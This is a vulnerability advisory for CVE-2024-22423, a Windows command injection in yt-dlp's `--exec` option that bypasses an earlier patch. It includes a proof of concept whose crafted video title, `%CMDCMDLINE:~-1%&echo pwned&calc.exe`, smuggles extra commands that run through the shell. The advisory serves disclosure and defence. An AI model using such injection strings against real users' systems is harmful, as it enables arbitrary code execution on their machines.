CVE-2024-22423: yt-dlp: `--exec` command injection when using `%q` in yt-dlp on Windows (Bypass of CVE-2023-40581)

(updated )

The patch that addressed CVE-2023-40581 attempted to prevent RCE when using --exec with %q by replacing double quotes with two double quotes. However, this escaping is not sufficient, and still allows expansion of environment variables.

Support for output template expansion in --exec, along with this vulnerable behavior, was added to yt-dlp in version 2021.04.11.

> yt-dlp "https://youtu.be/42xO6rVqf2E" --ignore-config -f 18 --exec "echo %(title)q"
[youtube] Extracting URL: https://youtu.be/42xO6rVqf2E
[youtube] 42xO6rVqf2E: Downloading webpage
[youtube] 42xO6rVqf2E: Downloading ios player API JSON
[youtube] 42xO6rVqf2E: Downloading android player API JSON
[youtube] 42xO6rVqf2E: Downloading m3u8 information
[info] 42xO6rVqf2E: Downloading 1 format(s): 18
[download] Destination: %CMDCMDLINE：~-1%&echo pwned&calc.exe [42xO6rVqf2E].mp4
[download] 100% of  126.16KiB in 00:00:00 at 2.46MiB/s
[Exec] Executing command: echo "%CMDCMDLINE:~-1%&echo pwned&calc.exe"
""
pwned

References

Code Behaviors & Features

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